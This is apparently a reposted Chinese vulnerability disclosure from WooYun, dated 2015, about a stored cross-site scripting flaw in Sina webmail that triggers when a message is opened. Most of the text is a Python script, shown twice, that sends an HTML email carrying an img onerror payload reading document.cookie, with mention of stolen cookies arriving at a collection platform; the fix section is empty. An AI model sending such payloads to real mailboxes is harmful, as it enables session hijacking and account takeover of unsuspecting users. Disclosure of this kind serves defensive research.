记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

新浪邮箱存储型xss点击邮件即可触发

2015-05-25 16:55

1.jpg



2.jpg





通过python发信



code 区域
#coding: utf-8    



import smtplib

import email

from email.MIMEText import MIMEText

from email.Header import Header



sender = '[email protected] '

receiver = '[email protected] '

subject = 'test!'

smtpserver = 'smtp.163.com'

username = '[email protected] '

password = 'xxxxx'



msg = MIMEText("asdsadsad<img src=# style=\"display:none\" onerror style=\"a:expression()\"=alert(document.cookie)>sdfsdfsdfsdf",'html','utf-8')



msg['Subject'] = subject



smtp = smtplib.SMTP()

smtp.connect('smtp.163.com')

smtp.login(username, password)

smtp.sendmail(sender, receiver, msg.as_string())

smtp.quit()





平台接收到的cookie截图

3.jpg

漏洞证明:

1.jpg



2.jpg





通过python发信



code 区域
#coding: utf-8    



import smtplib

import email

from email.MIMEText import MIMEText

from email.Header import Header



sender = '[email protected] '

receiver = '[email protected] '

subject = 'test!'

smtpserver = 'smtp.163.com'

username = '[email protected] '

password = 'xxxxx'



msg = MIMEText("asdsadsad<img src=# style=\"display:none\" onerror style=\"a:expression()\"=alert(document.cookie)>sdfsdfsdfsdf",'html','utf-8')



msg['Subject'] = subject



smtp = smtplib.SMTP()

smtp.connect('smtp.163.com')

smtp.login(username, password)

smtp.sendmail(sender, receiver, msg.as_string())

smtp.quit()





平台接收到的cookie截图

3.jpg

修复方案:

....

知识来源: www.wooyun.org/bugs/wooyun-2015-0106918

阅读:125470 | 评论:0 | 标签:xss

想收藏或者和大家分享这篇好文章→复制链接地址

“新浪邮箱存储型xss点击邮件即可触发”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云